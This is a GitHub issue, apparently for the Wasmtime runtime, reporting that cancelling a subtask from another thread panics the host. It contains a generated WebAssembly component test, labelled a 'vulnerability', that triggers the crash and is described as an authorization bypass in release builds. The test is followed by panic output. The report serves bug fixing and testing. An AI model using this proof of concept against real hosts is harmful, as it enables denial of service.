Skip to content

Cross-thread subtask.{drop,cancel} results in host panic #13024

@alexcrichton

Description

@alexcrichton

This test, which is generated and needs to be cleaned up:

;;! component_model_async = true
;;! component_model_threading = true
;;! reference_types = true
;;! multi_memory = true

;; Vulnerability: debug_assert_eq in subtask_cancel compiled out in release builds.
;;
;; concurrent.rs line 3604:
;;   debug_assert_eq!(expected_caller, concurrent_state.current_guest_thread()?);
;;
;; This check verifies that the thread calling subtask.cancel is the same thread
;; that created the subtask. In debug builds, this fires a panic (crashing the
;; host). In release builds, the debug_assert is compiled out, so ANY thread
;; within the same component instance can cancel any other thread's running subtask.
;;
;; Security impact:
;; - Debug builds: Host process crash (DoS) — exit code 101
;; - Release builds: Cross-thread authorization bypass — a malicious thread
;;   can cancel running subtasks belonging to other threads

(component
  ;; Callee: async export that yields to stay alive
  (component $callee
    (core module $m
      (func $do_work (export "do-work") (result i32)
        ;; Return YIELD to stay alive (not finished yet)
        (i32.const 1 (; YIELD ;))
      )

      (func $callback (export "callback") (param i32 i32 i32) (result i32)
        ;; Keep yielding — never return. This keeps the subtask in "running" state.
        (i32.const 1 (; YIELD ;))
      )
    )

    (core instance $m (instantiate $m))

    (func (export "do-work") async (canon lift
      (core func $m "do-work")
      async (callback (func $m "callback"))
    ))
  )

  ;; Caller: spawns an explicit thread that cancels the main thread's subtask
  (component $caller
    (import "do-work" (func $do-work async))

    (core module $libc
      (memory (export "memory") 1)
      (table (export "__indirect_function_table") 1 funcref)
    )
    (core instance $libc (instantiate $libc))
    (alias core export $libc "memory" (core memory $memory))
    (alias core export $libc "__indirect_function_table" (core table $table))

    (core module $m
      (import "" "do-work" (func $do_work (result i32)))
      (import "" "task.return" (func $task_return))
      (import "" "subtask.cancel" (func $subtask_cancel (param i32) (result i32)))
      (import "" "subtask.drop" (func $subtask_drop (param i32)))
      (import "" "thread.new-indirect" (func $thread_new (param i32 i32) (result i32)))
      (import "" "thread.unsuspend" (func $thread_unsuspend (param i32)))
      (import "" "thread.yield" (func $thread_yield (result i32)))
      (import "" "thread.index" (func $thread_index (result i32)))
      (import "" "memory" (memory 1))
      (import "libc" "__indirect_function_table" (table $table 1 funcref))

      (global $main_idx (mut i32) (i32.const 0))

      ;; Explicit thread entry: receives subtask handle as context, cancels it.
      ;; This violates the invariant that only the creating thread should cancel
      ;; a subtask. In debug builds, the debug_assert_eq fires and crashes.
      (func $thread_entry (param $subtask_handle i32)
        ;; Cancel the subtask that belongs to the MAIN thread.
        ;; In debug builds: debug_assert_eq(expected_caller=main_thread,
        ;;   current_guest_thread=this_thread) fires → panic → host crash.
        ;; In release builds: silently succeeds (authorization bypass).
        (drop (call $subtask_cancel (local.get $subtask_handle)))

        ;; Reschedule the main thread so it can exit
        (call $thread_unsuspend (global.get $main_idx))
      )
      (export "thread_entry" (func $thread_entry))

      ;; Initialize function table with thread entry function
      (elem (table $table) (i32.const 0) func $thread_entry)

      ;; Main function
      (func $run (export "run") (result i32)
        (local $subtask i32)
        (local $new_thread i32)

        ;; Save main thread index for the spawned thread to unsuspend us
        (global.set $main_idx (call $thread_index))

        ;; Call async import → get (BLOCKED | (subtask_handle << 4))
        (local.set $subtask (i32.shr_u (call $do_work) (i32.const 4)))

        ;; Spawn an explicit thread that will CANCEL the subtask from a
        ;; DIFFERENT thread context. Pass the subtask handle as context.
        (local.set $new_thread
          (call $thread_new (i32.const 0) (local.get $subtask)))

        ;; Unsuspend the new thread and yield to let it run
        (call $thread_unsuspend (local.get $new_thread))
        (drop (call $thread_yield))

        ;; After being unsuspended by the explicit thread, drop the
        ;; (now-cancelled) subtask and return.
        (call $subtask_drop (local.get $subtask))
        (call $task_return)
        (i32.const 0 (; EXIT ;))
      )

      ;; Callback for the async export (should not be reached)
      (func $callback (export "callback") (param i32 i32 i32) (result i32)
        unreachable
      )
    )

    (core type $start_func_ty (func (param i32)))
    (canon lower (func $do-work) async (memory $memory) (core func $do_work'))
    (core func $task.return (canon task.return))
    (core func $subtask.cancel (canon subtask.cancel))
    (core func $subtask.drop (canon subtask.drop))
    (core func $thread.new-indirect (canon thread.new-indirect $start_func_ty (table $table)))
    (core func $thread.unsuspend (canon thread.unsuspend))
    (core func $thread.yield (canon thread.yield))
    (core func $thread.index (canon thread.index))
    (core instance $m (instantiate $m (with "" (instance
      (export "do-work" (func $do_work'))
      (export "task.return" (func $task.return))
      (export "subtask.cancel" (func $subtask.cancel))
      (export "subtask.drop" (func $subtask.drop))
      (export "thread.new-indirect" (func $thread.new-indirect))
      (export "thread.unsuspend" (func $thread.unsuspend))
      (export "thread.yield" (func $thread.yield))
      (export "thread.index" (func $thread.index))
      (export "memory" (memory $memory))
    )) (with "libc" (instance
      (export "__indirect_function_table" (table $table))
    ))))

    (func (export "run") async (canon lift
      (core func $m "run")
      async (callback (func $m "callback"))
    ))
  )

  (instance $callee (instantiate $callee))
  (instance $caller (instantiate $caller
    (with "do-work" (func $callee "do-work"))
  ))

  (func (export "run") (alias export $caller "run"))
)

;; In debug builds: this crashes the host (exit code 101) due to
;; debug_assert_eq!(expected_caller, current_guest_thread()) firing in
;; subtask_cancel at concurrent.rs line 3604.
;;
;; In release builds: this succeeds (the cross-thread cancel is silently allowed),
;; demonstrating the authorization bypass.
(assert_trap (invoke "run") "")

currently fails

$ cargo run wast -W component-model-async,component-model-threading vuln3_cross_thread_subtask_cancel.wast
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.14s
     Running `/home/alex/code/wasmtime2/target/debug/wasmtime wast -W component-model-async,component-model-threading vuln3_cross_thread_subtask_cancel.wast`

thread 'main' (405121) panicked at crates/wasmtime/src/runtime/component/concurrent.rs:3604:9:
assertion `left == right` failed
  left: QualifiedThreadId(0, 2)
 right: QualifiedThreadId(0, 7)
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    Status

    Done

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions